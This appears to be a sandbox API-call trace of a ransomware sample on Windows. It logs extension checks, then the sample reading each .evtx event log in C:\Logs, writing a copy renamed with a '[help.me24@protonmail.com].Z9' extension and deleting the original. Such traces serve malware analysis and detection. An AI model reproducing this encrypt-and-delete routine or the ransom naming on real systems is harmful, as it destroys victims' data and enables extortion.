	[0081.184] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.184] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0081.184] lstrlenW (lpString=".zip") returned 4
	[0081.184] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.184] lstrlenW (lpString=".rar") returned 4
	[0081.184] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.184] lstrlenW (lpString=".bz2") returned 4
	[0081.185] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.185] lstrlenW (lpString=".7z") returned 3
	[0081.185] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.185] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0081.185] lstrlenW (lpString=".dbf") returned 4
	[0081.185] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.185] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0081.185] lstrlenW (lpString=".1cd") returned 4
	[0081.185] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.185] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0081.185] lstrlenW (lpString=".jpg") returned 4
	[0081.185] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.185] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0081.185] lstrlenW (lpString="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 51
	[0081.185] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0081.678] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=69632) returned 1
	[0081.678] CloseHandle (hObject=0x394) returned 1
	[0081.679] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx")) returned 0x20
	[0081.679] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0081.869] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0081.871] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.871] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.871] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0082.004] GetLastError () returned 0x0
	[0082.004] ReadFile (in: hFile=0x338, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0082.044] WriteFile (in: hFile=0x320, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0082.046] ReadFile (in: hFile=0x338, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.046] WriteFile (in: hFile=0x320, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x13a, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x13a, lpOverlapped=0x0) returned 1
	[0082.046] SetEndOfFile (hFile=0x320) returned 1
	[0082.047] CloseHandle (hObject=0x320) returned 1
	[0082.049] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.049] SetEndOfFile (hFile=0x338) returned 1
	[0082.050] CloseHandle (hObject=0x338) returned 1
	[0082.050] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0082.050] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx")) returned 1
	[0082.051] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0082.051] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0082.051] lstrlenW (lpString=".doc") returned 4
	[0082.051] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.051] lstrlenW (lpString=".docx") returned 5
	[0082.051] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.051] lstrlenW (lpString=".pdf") returned 4
	[0082.051] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.051] lstrlenW (lpString=".xls") returned 4
	[0082.051] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.051] lstrlenW (lpString=".xlsx") returned 5
	[0082.051] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.051] lstrlenW (lpString=".ppt") returned 4
	[0082.051] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.051] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0082.051] lstrlenW (lpString=".zip") returned 4
	[0082.051] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.051] lstrlenW (lpString=".rar") returned 4
	[0082.051] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.051] lstrlenW (lpString=".bz2") returned 4
	[0082.051] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.051] lstrlenW (lpString=".7z") returned 3
	[0082.051] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.051] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0082.051] lstrlenW (lpString=".dbf") returned 4
	[0082.051] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.051] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0082.051] lstrlenW (lpString=".1cd") returned 4
	[0082.051] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.051] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0082.051] lstrlenW (lpString=".jpg") returned 4
	[0082.051] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.052] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0082.052] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0082.052] lstrlenW (lpString=".doc") returned 4
	[0082.052] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.052] lstrlenW (lpString=".docx") returned 5
	[0082.052] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.052] lstrlenW (lpString=".pdf") returned 4
	[0082.052] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.052] lstrlenW (lpString=".xls") returned 4
	[0082.052] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.052] lstrlenW (lpString=".xlsx") returned 5
	[0082.052] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.052] lstrlenW (lpString=".ppt") returned 4
	[0082.052] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.052] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0082.052] lstrlenW (lpString=".zip") returned 4
	[0082.052] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.052] lstrlenW (lpString=".rar") returned 4
	[0082.052] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.052] lstrlenW (lpString=".bz2") returned 4
	[0082.052] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.052] lstrlenW (lpString=".7z") returned 3
	[0082.052] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.052] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0082.052] lstrlenW (lpString=".dbf") returned 4
	[0082.052] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.052] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0082.052] lstrlenW (lpString=".1cd") returned 4
	[0082.052] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.052] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0082.052] lstrlenW (lpString=".jpg") returned 4
	[0082.052] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.052] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0082.053] lstrlenW (lpString="Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 50
	[0082.053] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0082.053] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=69632) returned 1
	[0082.053] CloseHandle (hObject=0x338) returned 1
	[0082.053] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx")) returned 0x20
	[0082.053] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.053] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0082.053] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.053] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.053] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0082.053] GetLastError () returned 0x0
	[0082.054] ReadFile (in: hFile=0x338, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0082.066] WriteFile (in: hFile=0x320, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0082.068] ReadFile (in: hFile=0x338, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.068] WriteFile (in: hFile=0x320, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x138, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x138, lpOverlapped=0x0) returned 1
	[0082.068] SetEndOfFile (hFile=0x320) returned 1
	[0082.068] CloseHandle (hObject=0x320) returned 1
	[0082.070] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.070] SetEndOfFile (hFile=0x338) returned 1
	[0082.072] CloseHandle (hObject=0x338) returned 1
	[0082.072] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0082.072] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx")) returned 1
	[0082.072] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0082.072] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0082.072] lstrlenW (lpString=".doc") returned 4
	[0082.072] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.072] lstrlenW (lpString=".docx") returned 5
	[0082.073] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.073] lstrlenW (lpString=".pdf") returned 4
	[0082.073] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.073] lstrlenW (lpString=".xls") returned 4
	[0082.073] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.073] lstrlenW (lpString=".xlsx") returned 5
	[0082.073] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.073] lstrlenW (lpString=".ppt") returned 4
	[0082.073] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.073] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0082.073] lstrlenW (lpString=".zip") returned 4
	[0082.073] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.073] lstrlenW (lpString=".rar") returned 4
	[0082.073] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.073] lstrlenW (lpString=".bz2") returned 4
	[0082.073] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.073] lstrlenW (lpString=".7z") returned 3
	[0082.073] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.073] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0082.073] lstrlenW (lpString=".dbf") returned 4
	[0082.073] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.073] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0082.073] lstrlenW (lpString=".1cd") returned 4
	[0082.073] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.073] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0082.073] lstrlenW (lpString=".jpg") returned 4
	[0082.073] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.073] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0082.073] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0082.073] lstrlenW (lpString=".doc") returned 4
	[0082.073] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.073] lstrlenW (lpString=".docx") returned 5
	[0082.073] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.074] lstrlenW (lpString=".pdf") returned 4
	[0082.074] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.074] lstrlenW (lpString=".xls") returned 4
	[0082.074] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.074] lstrlenW (lpString=".xlsx") returned 5
	[0082.074] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.074] lstrlenW (lpString=".ppt") returned 4
	[0082.074] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.074] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0082.074] lstrlenW (lpString=".zip") returned 4
	[0082.074] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.074] lstrlenW (lpString=".rar") returned 4
	[0082.074] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.074] lstrlenW (lpString=".bz2") returned 4
	[0082.074] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.074] lstrlenW (lpString=".7z") returned 3
	[0082.074] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.074] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0082.074] lstrlenW (lpString=".dbf") returned 4
	[0082.074] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.074] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0082.074] lstrlenW (lpString=".1cd") returned 4
	[0082.074] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.074] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0082.074] lstrlenW (lpString=".jpg") returned 4
	[0082.074] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.074] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0082.074] lstrlenW (lpString="Microsoft-Windows-Ntfs%4Operational.evtx") returned 40
	[0082.074] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0082.093] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=69632) returned 1
	[0082.093] CloseHandle (hObject=0x338) returned 1
	[0082.093] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx")) returned 0x20
	[0082.093] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.093] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0082.093] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.093] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.103] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0082.105] GetLastError () returned 0x0
	[0082.105] ReadFile (in: hFile=0x338, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0082.109] WriteFile (in: hFile=0x360, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0082.110] ReadFile (in: hFile=0x338, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.110] WriteFile (in: hFile=0x360, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x124, lpOverlapped=0x0) returned 1
	[0082.111] SetEndOfFile (hFile=0x360) returned 1
	[0082.111] CloseHandle (hObject=0x360) returned 1
	[0082.113] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.113] SetEndOfFile (hFile=0x338) returned 1
	[0082.114] CloseHandle (hObject=0x338) returned 1
	[0082.114] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0082.114] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx")) returned 1
	[0082.115] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0082.115] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0082.115] lstrlenW (lpString=".doc") returned 4
	[0082.115] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.115] lstrlenW (lpString=".docx") returned 5
	[0082.115] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.115] lstrlenW (lpString=".pdf") returned 4
	[0082.115] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.115] lstrlenW (lpString=".xls") returned 4
	[0082.115] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.115] lstrlenW (lpString=".xlsx") returned 5
	[0082.115] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.115] lstrlenW (lpString=".ppt") returned 4
	[0082.115] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.115] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0082.115] lstrlenW (lpString=".zip") returned 4
	[0082.115] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.115] lstrlenW (lpString=".rar") returned 4
	[0082.115] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.115] lstrlenW (lpString=".bz2") returned 4
	[0082.115] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.115] lstrlenW (lpString=".7z") returned 3
	[0082.115] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.115] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0082.115] lstrlenW (lpString=".dbf") returned 4
	[0082.115] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.115] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0082.115] lstrlenW (lpString=".1cd") returned 4
	[0082.115] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.115] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0082.115] lstrlenW (lpString=".jpg") returned 4
	[0082.115] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.115] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0082.115] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0082.116] lstrlenW (lpString=".doc") returned 4
	[0082.116] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.116] lstrlenW (lpString=".docx") returned 5
	[0082.116] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.116] lstrlenW (lpString=".pdf") returned 4
	[0082.116] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.116] lstrlenW (lpString=".xls") returned 4
	[0082.116] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.116] lstrlenW (lpString=".xlsx") returned 5
	[0082.116] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.116] lstrlenW (lpString=".ppt") returned 4
	[0082.116] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.116] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0082.116] lstrlenW (lpString=".zip") returned 4
	[0082.116] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.116] lstrlenW (lpString=".rar") returned 4
	[0082.116] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.116] lstrlenW (lpString=".bz2") returned 4
	[0082.116] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.116] lstrlenW (lpString=".7z") returned 3
	[0082.116] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.116] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0082.116] lstrlenW (lpString=".dbf") returned 4
	[0082.116] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.116] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0082.116] lstrlenW (lpString=".1cd") returned 4
	[0082.116] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.116] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0082.116] lstrlenW (lpString=".jpg") returned 4
	[0082.116] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
